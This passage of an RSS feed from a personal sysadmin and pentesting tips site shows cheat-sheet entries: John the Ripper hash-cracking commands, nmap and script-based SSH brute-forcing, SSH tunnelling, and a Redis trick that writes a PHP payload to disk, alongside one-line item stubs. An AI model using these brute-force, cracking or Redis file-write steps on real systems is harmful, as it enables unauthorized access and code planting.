class=&#34;k&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crack-specific-format-using-john-the-ripper&#34;&gt;Crack specific format using john-the-ripper&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC&#34;&gt;https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;john -format&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;dynamic=md5($u.$c1.$p),c1=:ManagementRealm:&amp;#39;&lt;/span&gt; --wordlist /opt/passwords/rockyou.txt hashfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We get no error just &amp;ldquo;No password hashes loaded&amp;rdquo; because the salt size was not the expected size&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s possible to give salt size dymanically too, see the following example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;john --format&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;dynamic=sha512(sha512(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$p&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$s&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;),saltlen=128&amp;#34;&lt;/span&gt; --wordlist&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/opt/wordlist/test &lt;span class=&#34;nb&#34;&gt;hash&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;password-manager&#34;&gt;Password manager&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.passwordstore.org&#34;&gt;https://www.passwordstore.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;bitwarden&lt;/li&gt;&#xA;&lt;li&gt;passbolt (php)&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Ssh</title>
      <link>https://tips.unixed.fr/security/ssh/</link>
      <pubDate>Wed, 08 Jul 2020 07:47:33 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/ssh/</guid>
      <description>&lt;h2 id=&#34;test-ssh-authentication&#34;&gt;Test SSH authentication&lt;/h2&gt;&#xA;&lt;h3 id=&#34;using-nmap&#34;&gt;Using nmap&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;nmap -p &lt;span class=&#34;m&#34;&gt;22&lt;/span&gt; --script ssh-brute --script-args &lt;span class=&#34;nv&#34;&gt;userdb&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;users.txt,passwd&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;passwords.txt &amp;lt;TARGET&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;using-python-script&#34;&gt;Using python script&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;TODO: Chose to create a github repos or a single gist&amp;hellip;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;git clone https://github.com/kalidor/gossh.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;gist get gossh.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;./gossh.py -U users.lst -P passwds.lst targets.lst -p &lt;span class=&#34;m&#34;&gt;22&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;tunnels&#34;&gt;Tunnels&lt;/h2&gt;&#xA;&lt;h3 id=&#34;dynamic-forward&#34;&gt;Dynamic forward&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;prompt&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;%  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;prompt&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;% ~?&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Supported escape sequences:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~.   - terminate connection &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;and any multiplexed sessions&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~B   - send a BREAK to the remote system&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~C   - open a &lt;span class=&#34;nb&#34;&gt;command&lt;/span&gt; line&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~R   - request rekey&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~V/v - decrease/increase verbosity &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;LogLevel&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~^Z  - &lt;span class=&#34;nb&#34;&gt;suspend&lt;/span&gt; ssh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~#   - list forwarded connections&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~&lt;span class=&#34;p&#34;&gt;&amp;amp;&lt;/span&gt;   - background ssh &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;when waiting &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; connections to terminate&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~?   - this message&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ~~   - send the escape character by typing it twice&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;prompt&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;%&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;prompt&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;% ~C&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ssh&amp;gt; ?&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Commands:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      -L&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;bind_address:&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;port:host:hostport    Request &lt;span class=&#34;nb&#34;&gt;local&lt;/span&gt; forward&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      -R&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;bind_address:&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;port:host:hostport    Request remote forward&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      -D&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;bind_address:&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;port                  Request dynamic forward&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      -KL&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;bind_address:&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;port                 Cancel &lt;span class=&#34;nb&#34;&gt;local&lt;/span&gt; forward&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      -KR&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;bind_address:&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;port                 Cancel remote forward&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      -KD&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;bind_address:&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;port                 Cancel dynamic forward&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;local-forward&#34;&gt;Local forward&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Bash&#34; data-lang=&#34;Bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ssh -L XXXX:WEBISTE.FR:443 SSH_SERVER -i id_rsa -l USER&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;XXX: local port where the port 443 will be reachable&lt;/li&gt;&#xA;&lt;li&gt;WEBSITE.FR: website i wanna access to&lt;/li&gt;&#xA;&lt;li&gt;443: port the website is listening to&lt;/li&gt;&#xA;&lt;li&gt;USER: SSH user&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We can now doing the following to get access WEBSITE.FR:443 through SSH tunnel:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Redis</title>
      <link>https://tips.unixed.fr/security/redis/</link>
      <pubDate>Wed, 01 Jul 2020 14:58:49 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/redis/</guid>
      <description>&lt;p&gt;Setup new filename and add data init:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;config set dbfilename plop.txt&#xA;set plop &amp;#34;&amp;lt;?php phpinfo();//?&amp;gt;&amp;#34;&#xA;save&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Don&amp;rsquo;t forget to restore previous configuration:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;config set dbfilename dump.rdb&#xA;save&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Wordpress</title>
      <link>https://tips.unixed.fr/security/wordpress/</link>
      <pubDate>Wed, 10 Jun 2020 19:58:31 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/wordpress/</guid>
      <description>&lt;p&gt;wordpress pwning!!&lt;/p&gt;</description>
    </item>
    <item>
      <title>Printer</title>
      <link>https://tips.unixed.fr/linux/printer/</link>
      <pubDate>Mon, 08 Jun 2020 12:40:11 +0000</pubDate>
      <guid>https://tips.unixed.fr/linux/printer/</guid>
      <description>&lt;p&gt;Use canon_MD6150 from linux.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Vim</title>
      <link>https://tips.unixed.fr/vim/</link>
      <pubDate>Thu, 04 Jun 2020 16:48:44 +0000</pubDate>
      <guid>https://tips.unixed.fr/vim/</guid>
      <description>&lt;p&gt;vim related:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Docker</title>
      <link>https://tips.unixed.fr/docker/docker/</link>
      <pubDate>Fri, 15 May 2020 11:35:40 +0000</pubDate>
      <guid>https://tips.unixed.fr/docker/docker/</guid>
      <description>&lt;p&gt;Docker tips or regular things I forgot&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Tomcat</title>
      <link>https://tips.unixed.fr/security/tomcat/</link>
      <pubDate>Mon, 11 May 2020 13:26:05 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/tomcat/</guid>
      <description>&lt;p&gt;Tips to deploy/undeploy tomcat WAR application.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Git</title>
      <link>https://tips.unixed.fr/git/</link>
      <pubDate>Mon, 11 May 2020 09:01:00 +0000</pubDate>
      <guid>https://tips.unixed.fr/git/</guid>
      <description>&lt;p&gt;Git option(s) or trick(s)&lt;/p&gt;</description>
    </item>
    <item>
      <title>Win</title>
      <link>https://tips.unixed.fr/security/win/</link>
      <pubDate>Wed, 06 May 2020 14:52:47 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/win/</guid>
      <description>&lt;p&gt;Windows related: AdminSDHoler / PowerShell / LDAP&lt;/p&gt;</description>
    </item>
    <item>
      <title>Sql</title>
      <link>https://tips.unixed.fr/sql/</link>
      <pubDate>Wed, 06 May 2020 14:50:40 +0000</pubDate>
      <guid>https://tips.unixed.fr/sql/</guid>
      <description>&lt;p&gt;MSSQL / MySQL /&lt;/p&gt;</description>
    </item>
    <item>
      <title>Sec</title>
      <link>https://tips.unixed.fr/security/sec/</link>
      <pubDate>Wed, 06 May 2020 14:41:09 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/sec/</guid>
      <description>&lt;p&gt;Security tools&lt;/p&gt;</description>
    </item>
    <item>
      <title>Ruby</title>
      <link>https://tips.unixed.fr/dev/ruby/</link>
      <pubDate>Wed, 06 May 2020 14:40:07 +0000</pubDate>
      <guid>https://tips.unixed.fr/dev/ruby/</guid>
      <description>&lt;p&gt;IRB.rc&lt;/p&gt;</description>
    </item>
    <item>
      <title>Python</title>
      <link>https://tips.unixed.fr/dev/python/</link>
      <pubDate>Wed, 06 May 2020 14:38:59 +0000</pubDate>
      <guid>https://tips.unixed.fr/dev/python/</guid>
      <description>&lt;p&gt;Requests / Virtualenv / Encoding&lt;/p&gt;</description>
    </item>
    <item>
      <title>Links</title>
      <link>https://tips.unixed.fr/links/</link>
      <pubDate>Wed, 06 May 2020 14:37:12 +0000</pubDate>
      <guid>https://tips.unixed.fr/links/</guid>
      <description></description>
    </item>
    <item>
      <title>Freebsd</title>
      <link>https://tips.unixed.fr/linux/freebsd/</link>
      <pubDate>Wed, 06 May 2020 14:34:40 +0000</pubDate>
      <guid>https://tips.unixed.fr/linux/freebsd/</guid>
      <description>&lt;p&gt;Freebsd tips, useful for / after upgrade&lt;/p&gt;</description>
    </item>
    <item>
      <title>Burp</title>
      <link>https://tips.unixed.fr/security/burp/</link>
      <pubDate>Wed, 06 May 2020 14:33:38 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/burp/</guid>
      <description>&lt;p&gt;Some useful tips I used&lt;/p&gt;</description>
    </item>
    <item>
      <title>Photography</title>
      <link>https://tips.unixed.fr/photography/</link>
      <pubDate>Wed, 06 May 2020 14:31:54 +0000</pubDate>
      <guid>https://tips.unixed.fr/photography/</guid>
      <description>&lt;p&gt;Night photo / Samyand / Image manipulation&lt;/p&gt;</description>
    </item>
    <item>
      <title>Linux</title>
      <link>https://tips.unixed.fr/linux/linux/</link>
      <pubDate>Wed, 06 May 2020 14:28:55 +0000</pubDate>
      <guid>https://tips.unixed.fr/linux/linux/</guid>
      <description>&lt;p&gt;Linux related stuff. Mostly relative to configuration&lt;/p&gt;</description>
    </item>
    <item>
      <title>Metasploit</title>
      <link>https://tips.unixed.fr/security/metasploit/</link>
      <pubDate>Wed, 06 May 2020 14:27:40 +0000</pubDate>
      <guid>https://tips.unixed.fr/security/metasploit/</guid>
      <description>&lt;p&gt;Metasploit related notes..&lt;/p&gt;</description>
    </item>
    <item>
      <title>Archlinux notes</title>
      <link>https://tips.unixed.fr/linux/archlinux/</link>
      <pubDate>Wed, 06 May 2020 14:25:22 +0000</pubDate>
      <guid>https://tips.unixed.fr/linux/archlinux/</guid>
      <description>&lt;p&gt;This is a tiny Archlinux personal notes:&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
